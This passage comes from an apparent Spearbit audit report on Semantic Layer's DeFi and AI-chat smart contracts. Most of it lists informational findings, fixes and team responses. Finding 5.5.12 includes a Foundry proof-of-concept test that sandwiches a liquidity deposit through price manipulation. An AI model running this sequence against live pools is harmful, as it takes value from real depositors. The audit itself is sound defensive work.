             uint256 elapsedTime = block.timestamp - pool.lastPointsRewardTimestamp;
             uint256 pointsReward = elapsedTime * pointsPerSecond * pool.allocProportion /
             ↪  totalProportion;
             accPointsPerShare = accPointsPerShare + (pointsReward * ACC_POINTS_PRECISION /
             ↪  tokenSupply);
         }
         pending += (user.amount * accPointsPerShare / ACC_POINTS_PRECISION) - user.pointsDebt;
     }
     availableAmount += pending;
     return availableAmount;
 }
```

Semantic Layer: Fixed in PR 13.

Spearbit: Fix verified.

5.5 Informational

5.5.1 Lack of event emission for sensitive actions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: Some actions in the system may benefit from emitting events to ease off-chain monitoring and tracking of sensitive changes. These include:

- Modifying the token whitelist in `SVFHook::updateTokenWhitelists`.
- Initializing the portfolio in `Warehouse13::initializeSVF`.

Recommendation: Consider emitting events in the mentioned operations.

Semantic Layer: Fixed in PR 7.

Spearbit: Fix verified.

5.5.2 Unused modifiers in `BaseHookUpgradeable` contract

Severity: Informational

Context: BaseHookUpgradeable.sol#L33-L43

Description: The modifiers `selfOnly` and `onlyValidPools` in the `BaseHookUpgradeable` contract are defined but not used anywhere in the contract. This results in unnecessary code that increases the contract's complexity without providing any functionality.

Recommendation: It is recommended to remove the unused modifiers `selfOnly` and `onlyValidPools` from the contract to simplify the codebase and reduce potential confusion for future maintainers. If these modifiers are intended for future use, consider documenting their purpose or implementing them in relevant functions.

Semantic Layer: We will keep it as it is, as it's also in the original Uniswap v4 pool base contract.

Spearbit: Acknowledged.

5.5.3 Unspecified behavior for deposits and withdrawals during pausing of `Master42` contract

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The owner of the `Master42` contract is entitled to call its `setPause` function to set the paused state of the contract. When the contract is paused, some user functionality is disabled. For example, users cannot send messages via the `sendMessage` function. Instead, depositing and withdrawing tokens is allowed even if the contract is paused.

While this does not necessarily pose a security risk, the behavior for deposits and withdrawals during such a sensitive scenario must be specified, tested and documented in advance to ensure the contract behaves as intended.

Recommendation: Consider specifying the intended behavior of users' deposits and withdrawals when the contract is paused.

Semantic Layer: Fixed in PR 9.

Spearbit: Fix verified.

5.5.4 Lack of length limitation for `_response` in `respond` method

Severity: Informational

Context: Master42.sol#L62-L66, Master42.sol#L239-L253

Description: The `respond` method does not enforce a length limit on the `_response` parameter. This can lead to unnecessarily high gas consumption for the AI agent when storing large `_response` strings in the `responses` mapping. While the `checkWordLimit` modifier is used for the `_message` parameter in the `sendMessage` method, it is not applied to `_response` in the `respond` method.

Recommendation: It is recommended to apply the `checkWordLimit` modifier to the `_response` parameter in the `respond` method to enforce a length limit and prevent excessive gas consumption.

Semantic Layer: Fixed in PR 3.

Spearbit: Fix verified.

5.5.5 Approval methods not disabled for non-transferrable LP proof NFTs

Severity: Informational

Context: LPLock.sol#L139-L144

Description: The `transferFrom` method in the `LPLock` contract is overridden to prevent the transfer of LP proof NFTs, ensuring that these NFTs remain tied to the user and their associated `Master42` points. However, the `approve` and `setApprovalForAll` methods are not overridden, which allows users to grant approval to other addresses. This creates an inconsistency with the intended non-transferrable nature of the NFTs and could lead to unexpected behavior.

The following methods from the `ERC721Upgradeable` contract are not overridden:

- `approve(address to, uint256 tokenId).`
- `setApprovalForAll(address operator, bool approved).`

Recommendation: It is recommended to override the `approve` and `setApprovalForAll` methods to prevent approvals for LP proof NFTs, ensuring consistency with the non-transferrable design:

```
function approve(address, uint256) public pure override {
    revert NoApproval();
}

function setApprovalForAll(address, bool) public pure override {
    revert NoApproval();
}
```

Semantic Layer: Fixed in PR 1.

Spearbit: Fix verified.

5.5.6 Use of infinite approvals in the `SVFHook` contract

Severity: Informational

Context: SVFHook.sol#L274-L287

Description: The `SVFHook` contract uses infinite approvals (`type(uint256).max`) for `token0` and `token1` with `PERMIT2`, `poolManager`, and `positionManager`. While this approach reduces the need for repeated approvals, it introduces significant security risks due to unlimited token exposure. If any of the approved contracts are compromised, malicious actors could drain the approved tokens without user consent.

Recommendation: It is recommended to switch to an **approve-on-demand** pattern to mitigate these risks. This approach involves approving only the exact amount of tokens required for each transaction, rather than granting unlimited approval.

Semantic Layer: Fixed in PR 12.

Spearbit: Fix verified.

5.5.7 Vesting contract requires creator to send correct amount of tokens

Severity: Informational

Context: Vesting.sol#L32

Description: `Vesting` assumes the correct amount of tokens are sent to the contract through a blind transfer. Smaller amounts are problematic and will revert when claiming. Any overages are fully available after `vestingEnd`.

Recommendation: Consider using a `transferFrom` in the constructor. Alternatively, exercise caution in verifying deployments and inform recipients that any overages, or accidental transfers, will be available at the end of the vesting period.

Semantic Layer: Acknowledged.

Spearbit: Acknowledged.

5.5.8 Trust assumptions around Dao account for `Claim.sol`

Severity: Informational

Context: Claim.sol#L73

Description: Claimable tokens may be swept by the Dao account, and claimable amounts may be updated.

Recommendation: Document the trust assumption. Another issue recommends eliminating claim updates in which case the sweeping is the remaining portion requiring ongoing trust in the Dao. Given the purpose is to reclaim unclaimed amounts, consider setting a deadline where only after the deadline can sweep be called on the claimable tokens.

Semantic Layer: Acknowledged.

Spearbit: Acknowledged.

5.5.9 Incorrect event emission when updating team scores

Severity: Informational

Context: Copium.sol#L122, Copium.sol#L217

Description: The `_updateTeamScore` function of the `Copium` contract intends to emit the `NewHighScore` event when a user achieves a new high score. However, the event is emitted in any case.

Recommendation: Modify the function so that the `NewHighScore` event is emitted under the intended condition.

Semantic Layer: Fixed in PR 2.

Spearbit: Fix verified.

5.5.10 Consider addition validation for user friendly error messages

Severity: Informational

Context: Copium.sol#L293

Description: `getAddressesInTeam` has extra validation to help in case of input error:

```
require(_end > _start, InvalidRange());
require(_end <= addressByTeam[_team].length, IndexOutOfBound());
```

Recommendation: For consistency, consider including the same validation in `getProcessedTasks`.

Semantic Layer: Acknowledged.

Spearbit: Acknowledged.

5.5.11 Potentially unbounded response size in `checkVibe`

Severity: Informational

Context: Copium.sol#L160

Description: The AI's response to the user's message submitted in the `checkVibe` function of the `Copium` contract is not validated before being stored in state. Similar to finding "Lack of length limitation for `_response` in `respond` method", this might lead to an unintended overconsumption of gas, particularly if the data is not validated in the system's backend before signing and submitting the transaction.

Recommendation: Consider validating the response's length to ensure no unbounded responses are posted.

Semantic Layer: Fixed in PR 3.

Spearbit: Fix verified.

5.5.12 The liquidity received moves based on the pool state

Severity: Informational

Context: SVFHook.sol#L136

Description: Noted here for completeness, the behavior is referenced in the slippage and malicious hook issues.

Proof of Concept: A high cost (due to fees) example is here:

- Add to `test/SVFHook.t.sol`:

```
function swapToImpactPrice(uint256 amt, address account)
    public
    returns (uint256 token0Before, uint256 token1Before, uint256 token0After, uint256
    ↪  token1After)
{
    // Capture initial balances
    uint256 initialWethBalance = weth.balanceOf(account);
    uint256 initialSvfBalance = svftoken.balanceOf(account);

    // Check initial price
    (uint160 initialSqrtPrice,,,) = manager.getSlot0(poolId);
    console.log("Initial sqrtPriceX96:", initialSqrtPrice);
    console.log("MIN_TICK sqrtPriceX96:", TickMath.getSqrtPriceAtTick(MIN_TICK));

    vm.startPrank(account);
    swap(key, false, -int256(amt), ZERO_BYTES);
    vm.stopPrank();

    // Capture final balances
    uint256 finalWethBalance = weth.balanceOf(account);
    uint256 finalSvfBalance = svftoken.balanceOf(account);

    return (initialWethBalance, initialSvfBalance, finalWethBalance, finalSvfBalance);
}

function calculatePositionKey(address owner, int24 tickLower, int24 tickUpper, bytes32 salt)
    internal
    pure
    returns (bytes32 positionKey)
{
    // positionKey = keccak256(abi.encodePacked(owner, tickLower, tickUpper, salt))
    assembly ("memory-safe") {
        let fmp := mload(0x40)
        mstore(add(fmp, 0x26), salt) // [0x26, 0x46)
        mstore(add(fmp, 0x06), tickUpper) // [0x23, 0x26)
        mstore(add(fmp, 0x03), tickLower) // [0x20, 0x23)
        mstore(fmp, owner) // [0x0c, 0x20)
        positionKey := keccak256(add(fmp, 0x0c), 0x3a) // len is 58 bytes

        // now clean the memory we used
        mstore(add(fmp, 0x40), 0) // fmp+0x40 held salt
        mstore(add(fmp, 0x20), 0) // fmp+0x20 held tickLower, tickUpper, salt
        mstore(fmp, 0) // fmp held owner
    }
}

function test_addLiquidity_sandwiching() public {
    address depositor = vm.addr(0x1234);
    address swapper = vm.addr(0x1235);

    vm.startPrank(depositor);
    weth.approve(address(hook), type(uint256).max);
    svftoken.approve(address(hook), type(uint256).max);
    vm.stopPrank();

    vm.startPrank(swapper);
    weth.approve(address(swapRouter), type(uint256).max);
    svftoken.approve(address(swapRouter), type(uint256).max);
    vm.stopPrank();

    // starting price
    (uint160 staringSqrtPriceX96,,,) = manager.getSlot0(poolId);
    console.log("starting sqrt price", staringSqrtPriceX96);

    // Estimated liquidity
    uint256 amt0 = 5 ether;
    uint256 amt1 = 5 ether;

    uint256 initialSvfLiquidityAmount = (svfTotalSupply * 5 / 100) - amt1;
    vm.startPrank(dao);
    svftoken.transfer(swapper, initialSvfLiquidityAmount);
    vm.stopPrank();

    vm.startPrank(dao);
    svftoken.transfer(depositor, amt1);
    vm.stopPrank();

    vm.deal(depositor, amt0);
    vm.startPrank(depositor);
    weth.deposit{value: amt0}();
    vm.stopPrank();

    uint128 estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts(
        staringSqrtPriceX96,
        TickMath.getSqrtPriceAtTick(MIN_TICK),
        TickMath.getSqrtPriceAtTick(MAX_TICK),
        amt0,
        amt1
    );

    console.log("Initial estimatedLiquidity", estimatedLiquidity);

    (uint256 token0Before, uint256 token1Before, uint256 token0After, uint256 token1After) =
        swapToImpactPrice(initialSvfLiquidityAmount, swapper);
    console.log("token0BeforeSwap", token0Before);
    console.log("token1BeforeSwap", token1Before);
    console.log("token0AfterSwap", token0After);
    console.log("token1AfterSwap", token1After);
    // manipulated price
    (uint160 manipulatedSqrtPriceX96,,,) = manager.getSlot0(poolId);
    console.log("manipulated sqrt price", manipulatedSqrtPriceX96);

    estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts(
        manipulatedSqrtPriceX96,
        TickMath.getSqrtPriceAtTick(MIN_TICK),
        TickMath.getSqrtPriceAtTick(MAX_TICK),
        amt0,
        amt1
    );

    console.log("estimatedLiquidity", estimatedLiquidity);
    assertGt(estimatedLiquidity, 0); // Protocol included 0 liquidity check on estimated
    ↪   liquidity

    vm.startPrank(depositor);
    (uint256 uniNFTId, uint128 expectedLiquidity,) = hook.addLiquidity(
        key, SVFHook.AddLiquidityParams({amount0Desired: amt0, amount1Desired: amt1, deadline:
        ↪   MAX_DEADLINE})
    );
    vm.stopPrank();
    console.log("uniNFTId", uniNFTId);
    console.log("expectedLiquidity", expectedLiquidity);

    // Check the actual liquidity from the position
    bytes32 positionKey = calculatePositionKey(address(posm), MIN_TICK, MAX_TICK,
    ↪   bytes32(uniNFTId));
    uint128 actualLiquidity = manager.getPositionLiquidity(poolId, positionKey);
    console.log("actualLiquidity", actualLiquidity);

    // Unwind swap
    uint256 swapperWeth = weth.balanceOf(swapper);
    console.log("swapperWeth", swapperWeth);

    vm.startPrank(swapper);
    swap(key, true, -int256(swapperWeth - token0Before), ZERO_BYTES);
    vm.stopPrank();

    // Check the recorded liquidity from the master42 contract
    (uint256 amount,) = master42.userInfo(0, depositor);
    console.log("amount", amount);
    assertEq(expectedLiquidity, amount);

    actualLiquidity = manager.getPositionLiquidity(poolId, positionKey);
    console.log("actualLiquidity", actualLiquidity);
    assertEq(expectedLiquidity, actualLiquidity);

    // // Check the final balances
    uint256 finalWethBalance = weth.balanceOf(swapper);
    uint256 finalSvfBalance = svftoken.balanceOf(swapper);
    console.log("swapperFinalWethBalance", finalWethBalance);
    console.log("swapperFinalSvfBalance", finalSvfBalance);
    console.log("swapperSvfDifference", token1Before - finalSvfBalance);

    assertEq(finalWethBalance, token0Before);
    // assertEq(finalSvfBalance, token1Before);
}
```

Semantic Layer: Acknowledged.

Spearbit: Acknowledged.

5.5.13 Consider two step transfer for `Vesting.setRecipient`

Severity: Informational

Context: Vesting.sol#L66

Description/Recommendation: Similar to ownership transfers, user error could be reduced using a two step process for recipient transfer. Using `Ownable2step` and transferring to owner instead of recipient is one strategy. Regardless of approach, note the timing around`setRecipient`. The function may be called with claimable but not claimed amounts. The new recipient will be able to claim them. Even if giving unclaimed to the new recipient is desired, `claim` is not access controlled so anyone may frontrun and force claim to the old recipient before the new recipient is added.

Semantic Layer: Acknowledged. We will consider this.

Spearbit: Acknowledged.

5.5.14 Naming of state variables

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: Some state variables might benefit from better naming to make their intention more explicit to developers and reviewers: in the `Warehouse13` contract, `initialBalance` could be `initialSVFBalance`; in the `Vesting` contract, `totalVested` could be `totalClaimed`.

Recommendation: Consider changing these variables names to make their intention more explicit. Alternativel, you can better document their intended use with inline comments.

Semantic Layer: Fixed in PR 3.

Spearbit: Fix verified.

5.5.15 Lack of validation of order type

Severity: Informational

Context: Warehouse13.sol#L241

Description: The `_orderType` parameter passed to the `publishAGI` function of the `Warehouse13` contract is not validated. According to the docs, it's only expected to be 0 or 1. If so, it may benefit from adding explicit checks to specify expected values and avoid unintended inputs.

Recommendation: Consider validating the `_orderType` parameter.

Semantic Layer: Acknowledged.

Spearbit: Acknowledged.

5.5.16 Tracking of `totalResponses` in `Master42` might be unnecessary

Severity: Informational

Context: Master42.sol#L257-L258

Description: There's a `totalResponses` state variable in the `Master42` contract that might not be needed. Currently it gets incremented by one every time the AI posts a response in the contract, which also increments the size of the `processedTasks` array by one.

```
processedTasks.push(_messageId);
totalResponses++;
```

Because these state variables are not modified anywhere else, this means `totalResponses` should always match `processedTasks.length`.

Recommendation: Given the length of `processedTasks` can be queried via `getProcessedTasksLength`, consider removing the `totalResponses` state variable if it doesn't serve any other purpose in the system.

Semantic Layer: Acknowledged.

Spearbit: Acknowledged.

5.5.17 `SafeTransferLib` must check external code size

Severity: Informational

Context: Warehouse13.sol#L596

Description: The `_transfer` function of the `Warehouse13` contract uses solmate's `SafeTransferLib` library to execute transfers of ERC20 tokens. It's worth noting that old versions of this library did not check that the asset existed, which would cause unexpected behaviors due to no-ops succeeding as valid transfers. The external code size check was later added in PR 424.

Recommendation: Make sure that the version of the `SafeTransferLib` to be used in production includes the external code size checks.

Semantic Layer: Acknowledged. We will try update the library version or add external code side check.

Spearbit: Acknowledged.

5.5.18 Untested functionality in `Master42` contract

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description/Recommendation: The `respond` function of the `Master42` contract does not appear to be tested in the available test suite, which may lead to undetected unintended behaviors in the current or future versions of the system. We have not checked that all other functionality is indeed included in the test suite, so we'd advise integrating automatic coverage tooling and reports, such as `forge coverage`, which should greatly contribute to further detect areas of improvement for tests.

Semantic Layer: Fixed in PR 10.

Spearbit: Fix verified.

5.5.19 Recommended whitelist check in `addLiquidity` method

Severity: Informational

Context: SVFHook.sol#L115-L118

Description: The `addLiquidity` method does not verify whether the tokens being added to the pool are still whitelisted. This allows users to add liquidity and earn chatpoints for tokens that have been removed from the whitelist using the `updateTokenWhitelists` method. This behavior seems to undermine the purpose of the whitelist, as it does not enforce restrictions on token usage for existing pools.

Recommendation: It is recommended to add a whitelist check in the `addLiquidity` method to ensure that only whitelisted tokens can be used for adding liquidity.

Semantic Layer: Acknowledged. We only use the token whitelist to restrict who can create a pool with the `SVFHook`. There is no need to check it after the pool has been created.

Spearbit: Acknowledged.